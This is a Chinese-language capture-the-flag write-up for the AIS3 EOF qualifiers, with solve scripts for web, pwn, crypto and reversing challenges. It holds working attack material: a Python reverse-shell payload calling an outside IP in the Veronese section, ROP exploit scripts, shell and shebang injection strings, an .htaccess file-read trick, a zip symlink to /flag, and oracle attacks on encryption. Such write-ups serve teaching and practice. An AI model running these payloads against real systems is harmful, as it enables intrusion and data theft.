# AIS3 EOF Quals Writeup
[TOC]
## Washer (0126morris)
水題,會用 `scanf` 把輸入的字存到 `/tmp/name` 後再跑起來,雖然 name 是隨機的但會告訴你,所以輸入 `cat$IFS/home/chal/flag` 再執行檔案就好。
## HEX (0126morris)
上傳 iv 和密文後會得到解密後是否為 16 進位的回應,因為原本的明文都為 hex 中會出現的字,每種字只會在與特定幾種值 xor 後得到還是符合 hex 規則的結果,先記錄下所有的匹配規則後,就可以透過一次操控 1 byte 的 iv 為原本 iv xor 128 個其他值之一,再判斷接收成功的有那些後和紀錄的匹配規則比對,就能得到 token 每個位置的 hex 值,進而得到 flag。
```python3=
from pwn import *
from tqdm import trange
# context.log_level = 'debug'
r = remote("eof.ais3.org", 10050)
ivcipher = r.recvline().decode()
iv = ivcipher[:32]
cipher = ivcipher[32:64]
hint = r.recvline().decode()[6:]
match = []
for i in range(16):
match.append(set())
c = ord(hex(i)[2])
for b in range(128):
if chr(b^c) in "1234567890abcdefABCDEF": match[i].add(b)
token = ""
r.recvuntil("Exit\n".encode())
for i in trange(16):
cor = set()
for j in range(128):
r.sendline("1".encode())
r.recvuntil(": ".encode())
newiv = iv[:2*i] + hex((j)^int(iv[2*i:2*(i+1)], 16))[2:].rjust(2, "0") + iv[2*(i+1):]
r.sendline((newiv+cipher).encode())
res = r.recvuntil("Exit\n".encode()).decode()
if "Invalid" in res: continue
else: cor.add(j)
for c in range(16):
if cor == match[c]:
token += hex(c)[2]
break
r.sendline("2".encode())
r.recvuntil(": ".encode())
r.sendline(token.encode())
flag = r.recvline()
print(flag.decode())
```
## Veronese (0126morris)
上傳圖片和程式碼後會將程式碼轉為圖片比對兩者是否相同,再將圖片轉回程式碼比對是否符合格式,透過一些測試發現 p 會使圖片轉成文字時下一行同樣位置的字辨識失敗,所以能夠造如下 payload 使 server 執行 reverse shell。
```python3=
'''
abcpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
''';import os,pty,socket;s=socket.socket();s.connect(("140.112.30.38",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh");
```
## Gist (0126morris)
網頁會檢查上傳的檔案副檔名和內容是否包含 ph 且會忽略大小寫,所以一般的 php 副檔名繞開方式的無法通過,在查資料後發現一種透過 `.htaccess` 繞開的方法,但他的內容中一定會包含 PHP 所以沒有用,但意外的發現能透過他重新導向 errorpage,在上傳後又能得到他所在的目錄位置,因此上傳以下程式後戳一個在該目錄中不存在的檔案就能被重新導向開啟 flag。
```
ErrorDocument 404 %{file:/flag.txt}
```
## real_rop++ (0126morris)
由於 `PIE enable` 和輸入的長度限制,沒辦法在第一次就將 ROP chain 寫入,所以想辦法先讓 main function 重新執行。因為 PIE 只會後 12 bits 以外的地址隨機化,而 main 的 return address 是 `__libc_start_main+243`,如果要讓 main 重新執行則控制讓其 return 到 `__libc_start_main+236` 就能重新執行,而兩者間的差距只會在後 12bits 不會被隨機化影響。觀察 stack 結構發現先寫入 0x18 的垃圾後就能覆蓋到 return address,雖然輸入以 byte 為單位,但有 1/16 的機率猜中已經足夠使用暴力嘗試。
重新執行 main 後就能利用第一次的 output 中包含的`__libc_start_main+236` 位置計算 libc 中的 onegadget 位置和為了滿足 onegadget 的其他 gadget,將其串好後寫入 return address 就完成了。
```python3=
import argparse
from pwn import *
import random
from tqdm import trange
context.arch = "amd64"
def solve(args):
if args.file is not None:
r = process(args.file)
else:
r = remote(args.url, args.port)
r.send(b"\x00"*0x18+b"\x7c"+b"\x00")
res = r.recv()
libc_start_main = u64(res[0x18:0x20]) - 236
libc_start_main_offset = 0x23f90
pop_rdx_ret_offset = 0x142c92
pop_rdx_ret = libc_start_main - libc_start_main_offset + pop_rdx_ret_offset
onegadget_offset = 0xe3b01
onegadget = libc_start_main - libc_start_main_offset + onegadget_offset
payload = flat(
pop_rdx_ret, 0,
onegadget
)
r.send(b"\x00"*0x18+payload)
try:
res = r.recv()
r.sendline("cat /home/chal/flag")
res = r.recv()
print(res)
return True
except EOFError:
return False
def main(args):
for i in trange(100):
if solve(args):
return
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url")
parser.add_argument("-p", "--port")
parser.add_argument("-f", "--file")
parser.add_argument("-d", "--debug", action="store_true")
args = parser.parse_args()
main(args)
```
## how2know_revenge (0126morris)
跟 how2know 一樣透過 timing attack 獲得 flag,難點在於使用 ROP chain 構造能比對字串和進入無窮迴圈的 payload。比對字串部分能夠使用 libc 中的 `strncmp` 控制比對的長度,無窮迴圈則可以透過 jmp 0 完成。`strncmp` 在兩者相同時會將 rax 設為 0,先將 rdi 設為 jmp 0 再和 rax 相加,如果 rax 是 0 則接下來 call rax 就會真的跳到 0 達成無窮迴圈,不是 0 的話就會 call 到錯誤的位置而 segmentation fault,就能以此進行 timing attack。
需要注意的是在這題中需要使用的是執行檔本身的包含的 gadegt,而不能使用 libc 中的 gadget,且 `strncmp` 這個函數因為 sse 指令集的原因在本機的 Docker 環境和 server 上會使用不同位置,一開始在本機能得到 flag,但在真正攻擊時失敗就是因為沒有注意到兩者的差別。
```python3=
import argparse
from pwn import *
import random
import time
from tqdm import trange
char = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_','{','}','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
mapping = {'a': 0x40197e,'b': 0x401f5a,'c': 0x401921,'d': 0x4001cb,'e': 0x401137,'f': 0x4011a6,'g': 0x401863,'h': 0x400410,'i': 0x40132b,'j': 0x401632,'k': 0x401225,'l': 0x4039d9,'m': 0x4002ad,'n': 0x400111,'o': 0x40208d,'p': 0x400108,'q': 0x401f4b,'r': 0x4018eb,'s': 0x403353,'t': 0x4001ca,'u': 0x401117,'v': 0x401316,'w': 0x40197d,'x': 0x4003e0,'y': 0x401213,'z': 0x4002ac,'0': 0x4003c0,'1': 0x4011da,'2': 0x400029,'3': 0x40193a,'4': 0x400259,'5': 0x401197,'6': 0x401231,'7': 0x401b3f,'8': 0x400036,'9': 0x4011dd,'_': 0x401331,'{': 0x401521,'}': 0x401107,'A': 0x401542,'B': 0x40194a,'C': 0x4002ea,'D': 0x400178,'E': 0x400001,'F': 0x400003,'G': 0x40027c,'H': 0x400470,'I': 0x4002af,'J': 0x4000c2,'K': 0x40134d,'L': 0x400002,'M': 0x4000fa,'N': 0x40027d,'O': 0x401e8d,'P': 0x400458,'Q': 0x400200,'R': 0x400238,'S': 0x4001c8,'T': 0x40173b,'U': 0x40027e,'V': 0x400109,'W': 0x401659,'X': 0x400440,'Y': 0x4013e2,'Z': 0x40171f}
context.arch = "amd64"
def solve(args, flag, offset):
if args.file is not None:
r = process(args.file)
else:
r = remote(args.url, args.port)
jmp_rax = 0x401b58
jmp_zero = 0x403a8d
pop_rdi_ret = 0x401812
pop_rdx_ret = 0x40171f
pop_rsi_ret = 0x402798
pop_rax_ret = 0x458237
# Local Docker strncmp = 0x438520
strncmp = 0x437540
text = 0x4de2e0+offset
buf = mapping[flag]
call_rax = 0x401014
add_rax_rdi_ret = 0x438c23
payload=flat(
pop_rdi_ret, text,
pop_rsi_ret, buf,
pop_rdx_ret, 1,
pop_rax_ret, strncmp,
jmp_rax,
pop_rdi_ret, jmp_zero,
add_rax_rdi_ret,
call_rax
)
t = time.time()
res = r.recvline()
r.send(b"A"*0x28+payload)
r.recvall(timeout=1)
d = time.time() - t
if d > 1:
return True
return False
def main(args):
FLAG = ""
for i in trange(100):
for c in char:
if solve(args, c, i) and solve(args, c, i):
FLAG += c
if c == "}":
print(FLAG)
exit()
break
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url")
parser.add_argument("-p", "--port")
parser.add_argument("-f", "--file")
parser.add_argument("-d", "--debug", action="store_true")
args = parser.parse_args()
main(args)
```
## Share (b09902004)
這題的服務會直接把你上傳的 zip 解壓縮,檢查是否包含 `index.html` ,然後放在使用者對應的目錄。Flag 在 `/flag`,所以只要做到任意讀檔就行了。
解法是在 zip 包一個 symbolic link 到 `/flag`,訪問那個頁面時就會看到 flag 了。Payload 構法如下:
```shell=
ln -s /flag flag.txt
touch index.html
zip --symlinks payload.zip index.html flag.txt
```
## Nekomatsuri (b09902004)
這題 `main()` 的邏輯比較複雜,所以是邊跑 x64dbg 邊逆向解的。核心邏輯是在這個函數:

一開始的 process 會走 `a1<=2` 。在 `SecretImport()` 解密出一些字串,導入需要的函數。`thread_routine` 會接 pipe ,並用特定的 `STARTUPINFO` 產生另一個 process 跑同樣的 `nekomatsuri.exe`。
這邊產生的 process 走到同樣的函數的時候會走下面的分支,拿 stdin 讀到的字串(這裡因為接了 pipe,會是原 process 傳的 `WinExec`) 解密 key,然後檢查 flag。
`checkFlag` 長這樣:

`a2` 會是使用者對原 process 的輸入, `a1` 是固定的字串 `Ch1y0d4m0m0`。這題的 flag 是正確的 `a2`。照著裡面的運算倒著做就能解出 flag 了。
值得一提的是 `main()` 和 TLSCallbacks 看起來有很多對 TLS 存值操作的函數,但看不太出來他們的用途。另外我也沒有在靜態分析看出原 process 讀到的字串是怎麼傳給新 process 的,完全是看 x64dbg 才發現的。原 process 呼叫 `checkFlags` 的參數會是經過平移的視窗標題,但新 process 看起來把同一塊記憶體用來存了完全不同的 structure。
Script:
```python=
def decode_str(encoded: bytearray, encoded_len: int, key: bytearray, key_len: int, offset):
state = list(range(268))
for i in range(256, 268):
state[i] = 0
v14 = 0
for j in range(256):
v14 += state[j] + key[j % key_len]
v14 %= 2**8
state[j], state[v14] = state[v14], state[j]
v14 = 0
for k in range(encoded_len):
v10 = k+1
v14 += state[k+1]
v14 %= 2**8
state[v10], state[v14] = state[v14], state[v10]
v8 = state[v10] + state[v14]
v8 %= 2**8
v7 = state[v8]
if (offset >= 0):
encoded[k] = v7 ^ ((encoded[k] + offset) % 2**8)
else:
encoded[k] = ((v7 ^ encoded[k]) + offset) % 2**8
byte_10020 = bytearray([0x8F, 0xE6, 0xC7, 0x84])
byte_10024 = bytearray([0xA6, 0x68, 0x19, 0xB0, 0x94, 0x8F, 0x5F, 0xA1, 0x8B, 0x20,
0x0D, 0x54, 0x3B, 0xF7, 0x57, 0x3C])
module_name = bytearray([0xD8, 0x47, 0x8E, 0x00, 0x37, 0x9B, 0x6F, 0x95, 0xA6, 0x85,
0x12, 0x54, 0x85])
proc_name = bytearray([0xF5, 0xA6, 0xCB, 0x41, 0x45, 0xDB, 0x5A, 0x29, 0x0F, 0xE6,
0x6F, 0x9E, 0x39, 0xBF, 0x21])
funcs = [
bytearray([0x5D, 0x19, 0x16, 0xA8, 0x6B, 0x3D, 0xA1, 0x48, 0xB1, 0x2B,
0xB8, 0xF3, 0xE2]),
bytearray([0x4A, 0xF0, 0xFB, 0xAD, 0x84, 0x39]),
bytearray([0xDF, 0x7D, 0x95, 0x44, 0x30, 0xB8, 0x30, 0xDC, 0xC2]),
bytearray([0x93, 0x23, 0xC4, 0x6B, 0x44, 0xC0, 0x62, 0x9A, 0x9C, 0x10]),
bytearray([0xF3, 0x90, 0xA4, 0x4B, 0x47, 0xC9, 0x59, 0x05, 0xF0, 0xDE,
0x48, 0x85, 0x31, 0xD1, 0xAD, 0x98, 0x38, 0x00, 0x0F, 0xA0]),
bytearray([0x98, 0x5A, 0xD3, 0x65, 0x2C, 0xF8, 0x62, 0xF4, 0xF0, 0xEE,
0x96]),
bytearray([0x8B, 0x2F, 0xDC, 0x72, 0x21, 0xF7, 0x57, 0x88, 0x82, 0xFF,
0x7E, 0x36, 0x4B, 0xF3, 0x23]),
bytearray([0x53, 0xFD, 0x01, 0xAD, 0xB4, 0x2E, 0xBF, 0x5A, 0x52, 0x07,
0xBF, 0xFE, 0x98, 0x79]),
bytearray([0xB0, 0x4C, 0x8D, 0x3B, 0x37, 0xFF, 0x19, 0xE9, 0xEC, 0x8D,
0x19, 0xF8])
]
offsets = [-22, 13, 119, -64, 96, -89, -76, -7, -113]
init_key = byte_10020
long_key = byte_10024
decode_str(long_key, 16, init_key, 4, 3)
decode_str(module_name, 13, long_key, 16, -113)
decode_str(proc_name, 15, long_key, 16, 78)
print(module_name.decode())
print(proc_name.decode())
for f, o in zip(funcs, offsets):
decode_str(f, len(f), long_key, 16, o)
print(f.decode())
print("="*20)
correct_msg = bytearray([0x93, 0x38, 0xC3, 0x5A, 0x59, 0xE3, 0x68, 0x76])
decode_str(correct_msg, 8, long_key, 16, -64)
print(correct_msg.decode())
print("="*20)
correct_msg = bytearray([0x12, 0x9C, 0xAE, 0x58, 0x34, 0xCF, 0x67, 0xED, 0xF4, 0xCA,
0x4E, 0x4F, 0x39, 0xAE, 0xB2, 0x5A, 0x66, 0x13, 0xD2, 0x21,
0x1C, 0xEB, 0x4C, 0xAC, 0x81, 0xB7, 0xB9, 0x57])
decode_str(correct_msg, 28, long_key, 16, 88)
print(correct_msg.decode())
print("="*20)
long_key_cp = bytearray([
0xA6, 0x68, 0x19, 0xB0, 0x94, 0x8F, 0x5F, 0xA1,
0x8B, 0x20, 0x0D, 0x54, 0x3B, 0xF7, 0x57, 0x3C])
wrong_msg = bytearray([
0x4A, 0xA6, 0x43, 0x80, 0x57, 0x2E, 0xEC, 0x6C,
0x7A])
correct_msg = bytearray([
0x23, 0x00, 0x63, 0x25, 0x5E, 0x1A, 0x67, 0xB1,
0x05, 0xF1, 0xF7])
flag = bytearray([
0x1C, 0xF5, 0x9E, 0x13, 0x7F, 0x21, 0xC5, 0x0D,
0x15, 0x3A, 0xE6, 0xF8, 0xA7, 0x9E, 0x9F, 0xEC,
0x56, 0x6D, 0xF8, 0x2C, 0xF0, 0x80, 0xA6, 0x96,
0x04, 0x8C, 0xB9, 0x6F, 0x8B, 0xCC, 0x74, 0x43,
0x3A, 0xA1, 0x07, 0x10, 0x55, 0x47, 0xD2, 0x96,
0x36, 0x9D, 0x8E, 0x6B, 0x84, 0x89, 0x7E, 0xC4,
0x63, 0xE6, 0x61, 0x9B, 0x7A, 0xD7, 0xAD, 0x32,
0xAD, 0x82, 0x4A, 0x67, 0x04, 0x7E, 0x32, 0xCA,
0x74])
secret_key = b"WinExec"
decode_str(long_key_cp, len(long_key_cp), secret_key, len(secret_key), -3)
decode_str(wrong_msg, len(wrong_msg),
long_key_cp, len(long_key_cp), -30)
decode_str(correct_msg, 11, long_key_cp, len(long_key_cp), 89)
decode_str(flag, 65, long_key_cp, len(long_key_cp), 30)
print(wrong_msg.decode())
print(correct_msg.decode())
a1 = b"Ch1y0d4m0m0"
a2 = flag.copy()
for i in range(65):
a2[i] ^= i^a1[i%len(a1)]
print(a2.decode())
```
## Knock (b09902004)
這題給的是一個 .NET 執行檔,用 ILSpy 返組譯就能看到完整的程式邏輯。

程式會從特定的 udp port 聽取連線並檢查對方傳的字串。檢查方式是一次拿一個 byte,並和 `md5<character idx>` 接起來算 md5。如果兩次都通過就會傳一串 md5 hash。用同樣的方法解這串 hash 對應的字串,就能拿到 flag 了。
Script:
```python=
from hashlib import md5
def getHash(data: bytes):
hasher = md5()
hasher.update(data)
return hasher.hexdigest()
def crackHashes(hashes: list[str]):
for i, t in enumerate(hashes):
for B in range(256):
trial = getHash(bytes([B, 109, 100, 53, i]))
if trial == t:
print(chr(B), end="")
break
print("")
targets1 = ["59565143f3dce228f15319b3c437f19a", "8ce1fe6eb0b631ff6744bf969ac32635", "f7826b7cabf55fd755d59538f0f0deee",
"035e655b47864149c7e4f6eea56c0bb6", "7e840ba5aa72459d0f85d090d23c3d59", "8b9f42ea23188630142f89a88d2d8f0e",
"7ba78773ff7eda6ebc6ddd456b24cb3c", "3ec3dd4b617f8bfc7b9e34e9ee126efa", "ecc3b83a77a85b59995c7099cb7a8df9",
"22d6d7fc8a43f40634d3576485d81e72", "bc17821ef5b551f61e95b801254d97ce", "de33f8e6a447dfda232ba3b9f6fcb3a8",
"540ad17732dd880c25460796ac9bcf20", "134b66053d213b5640d36dd433a9c171", "dc325b0c3d4f6d30a487a2d1cdeea1c4",
"291d3f37baba37d5bb54fc78a2f789ce", "bbcf469759ea7c38927a896d604f7886"
]
crackHashes(targets1)
print("====")
targets2 = ["9070513d2abf0bd35b85ad5eb35c5df6", "52c57bffd0bcfbf623c6c025a173c942", "2f22859e72889e3ed4fab35d835553ec",
"20b1ae9f6d151da6e31a829d6b40f237", "af7a69aef0fcb2e806316f07fa4afcef", "8e91f93608ba248eec95ecab7b1bdc77",
"26b1538f0fa8d78053547b689942263f", "a0c9bbf3f8887c340b2ad259c88e0a7d", "4e735bddd60ac8ec6254772a6b33fb87",
"beefa351d728e914eeadfe0ac9a561e1","25bd8cf54a60d122584fbbfe73b18087"
]
crackHashes(targets2)
print("====")
targets3 = [
"f8c1ceb2b36371166efc805824b59252", "ec0f4a549025dfdc98bda08d25593311", "3261390a0dfd09dc16c3987eba10eb53", "66d986ecb8b4d61c648cebdcc2a5ccb2", "fbd5870d0c8964d2c9575a1e55fb7be9", "c0992476cbd06f4f9bb7439ecee81022", "debf803f8b64d47bcdcb8e6fc1854fd3", "3fa81b15cf1210e01155396b648bbe2f", "05880def669376ef5070966617ccdeea", "0c635429f6905f04790ecc942b1bcf86",
"f70ce87784d549677b28dd0932766833", "790b40de039d3f13dea0e51818e08319", "4a5a99441aa7a885192a0530a407ade0", "0058628c972c658654471b36178f163f", "71f9eaf557aaa691984723bf7536b953", "30cbf3c9e5a0e91168f57f1a5af0b6dc", "d9ccfeb048086c336b1d965aee4a6c3d", "cfd0e95c62ddca1bfd1a902761df59f9", "9798150652e2bd5a24dfbfe5e678be9e", "eb275c9f4a7b3e799dabc6fa56305a13",
"e7a559cf6b0acbf36087f76a027d55ba", "fe12380219f2285e48928bcb3658550a", "c6b3fb1f238c3a599fcbabb4127ee6b5", "4d15d083b996e4fd0865c79697fb10cd", "4008c526e86cde781976813b1bc3da38", "b0429dde1bbb1372f98a0d1f4c32fa3f", "2447ed4c7337c2c82d2a7bb63f49ec05", "90b247e82e0a0e30c9caf4402840c860", "e17cadf8ee52aa84dfc47d0203d38710", "bf8f4b12d3135fb4af7a1ac72509c9dc",
"f2ee0d18cf0694678d32797774128ddd", "c6c24338269e7aeab5161fb191e475c2", "23c6afffd93216e493fec87ee9315b86", "0b93d09e1cdaed8d8e0de39531de182a", "1657d03d5b217d1d237db25d8a4d5489", "3498f0744f6059fb2bf7c778d085c909", "ac38e3f1e8d93a6a8c417165a59bce67", "e1b0e8bb077ef11bdee3cc67ddf9cd7b", "4732293cca5121ab05dd5e254d22acee", "fad3b901ba4258ad9fd71a7302df8148",
"1e02fd1f2f4f22f42fb71a8230c3fa35", "75fcc6674ca64f120eaf3aa911870fc9", "ae8612af96882cb771f1a4d8fdb41fc3", "96bba5d198bfa190c2773516badc221d", "47728b786cbeb69d2c7292925f06aaf1", "3f9031bff26fb95509b8cd353bd0a131", "010863115678f4d19f1d4ac2b2db9697", "e944d1b87ad28a9f7c6cf90680483556", "466d818aafd0cdfc0a9ab3b41a02f5d9", "af0a281c8b0ccb7cb43b4b0345a3bb49",
"fcb4cb5a6d51bba742fd9d4d73a3449f", "74dfb0110dbb3da8e23bf5fb40af078c", "eb70b854739c9b6cb35f8b2cf77ed64a", "ffe3b6cfa20bb97c909838f7351e4394", "b85ced8f3f11edbd781ee6b0d79fd7b4", "c10b6289b3fd56c1d17ba758960d1c20", "36986e79b356328a1bc32756416bb744", "e2476b0618c7e20c8246f3e274abca03", "9793fd49590b40952f928e7c431d43a9", "c5d774c5e69aea3707e5552b61c85bb2",
"672e62fd225560292abdf292caf05a02", "6615c852430df05c405d1df7723e944f", "80fb5e9390b54dd8ef51d7c9a86bde14", "c05cec12c67e0c3f1cdb7ae7363008c4", "59e4e7efc94b52ce3ba792cbd7aaabd4"
]
crackHashes(targets3)
print("====")
```
## Execgen (b09902011)
```shell=
# create the script, easy!
read -r script
# oh, don't forget to add watermark!
script+='(created by execgen)'
# run the script for you, sweet!
tmp=$(mktemp)
echo "#!$script" > "$tmp"
chmod 0755 "$tmp"
out=$("$tmp")
echo "$out"
rm "$tmp"
```
Server 會把你的一行 input 放在 shebang 裡面,append一些垃圾然後執行,印出output。
這裡的難點在於linux會把第一個空白之後的東西全部當成一個argument,所以下面這個行不通:
```shell
#!/bin/cat /home/chal/flag (created by execgen)
```
會顯示找不到 `flag (created by execgen)` 這個檔案。查詢之後發現原來 `/usr/bin/env` 正是為了解決要在shebang加多個argument的工具,只要加 `-S` 就好:
```shell
#!/usr/bin/env -S /bin/cat /home/chal/flag (created by execgen)
```
## Execgen-safe (b09902011)
不同之處在於Server只接受 `[a-zA-Z0-9 /]`,所以 `-S` 不能用。這關的梗在於雖然shell script沒有單行長度限制,但是shebang有。所以只要構一個這樣子的payload:
```shell
#!/bin///////////...(很多斜線).../cat /home/chal/flag(created by execgen)
```
把斜線的數量調到`(created by execgen)`會被砍掉就會印出flag。
## Mumumu (b09902011)
雖然說是reverse題,但是其實我沒有真的reverse出來XD,因為C++的東西太亂看不懂QQ
解出來的原因是隊友通靈發現題目給的output同時有`FLAG{}`這些字元,只是順序是亂的,所以瞎猜題目只會把input順序打亂。
直接執行,輸入跟flag一樣長的字串,然後把輸出對回來就解掉了。
## popcnt (b09902011)
題目給10組RSA的$n, e$,以及用這些公鑰分別加密過的flag: $y=x^e \mod n$。提供一個oracle,計算 $y^d$ 並回傳popcount,也就是 $bin(y^d)$ 中1的數量。
類似LSB oracle,我們可以計算 $2^{-e}x^e$ 傳給oracle,拿到 $2^{-1}x$ 的 popcount。
可以發現只有兩種情況:
* Flag尾數=0, popcount(flag/2) == popcount(flag)
* Flag尾數=1, popcount(flag/2) == ???,高機率 popcount(flag/2) != popcount(flag)
由於已知$e$,因此假設flag後面的bits已知,我們可以計算這些bit被移到小數點後面之後會變成多少,然後存在一個變數`expected`作為修正值。可以看出高機率 `popcount變了 == flag尾數1 ^ expected尾數1`。
由於有部份機率會有shift之後popcount一樣,但是會被打亂的情況,因此每個bit需要對十組公鑰都做一次來投票,才能決定真正的flag,並變動`expected`。
```python=
from pwn import *
import base64
from Crypto.Util.number import long_to_bytes, bytes_to_long
from tqdm import tqdm
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
def send(r, i, n):
r.recvuntil(b'Exit')
r.sendline(b'1')
r.recvuntil(b'To: ')
r.sendline(f'{i}')
r.recvuntil(b'Message: ')
r.sendline(base64.b64encode(long_to_bytes(n)))
count = r.recvline()
return int(count)
r = remote('eof.ais3.org', 10051)
n = []
enc = []
for i in range(10):
n.append(bytes_to_long(base64.b64decode(r.recvline())))
e = bytes_to_long(base64.b64decode(r.recvline()))
enc.append(bytes_to_long(base64.b64decode(r.recvline())))
half = [pow(2, -e, ni) for ni in n]
reduce = enc.copy()
expected = [0] * 10
last = [send(r, i, enc[i]) for i in range(10)]
flag = []
poll = [0] * 10
for _ in tqdm(range(512)):
for i in range(10):
reduce[i] = (reduce[i] * half[i]) % n[i]
ret = send(r, i, reduce[i])
if (ret == last[i]) == (expected[i] % 2 == 0):
poll[i] = 0
else:
poll[i] = 1
last[i] = ret
if sum(poll) < 5: # pick 0
flag.insert(0, 0)
for i in range(10):
expected[i] *= pow(2, -1, n[i])
expected[i] %= n[i]
else:
flag.insert(0, 1)
for i in range(10):
expected[i] *= pow(2, -1, n[i])
expected[i] += pow(2, -1, n[i])
expected[i] %= n[i]
s = ""
for x in flag:
s += f'{x}'
print(s)
```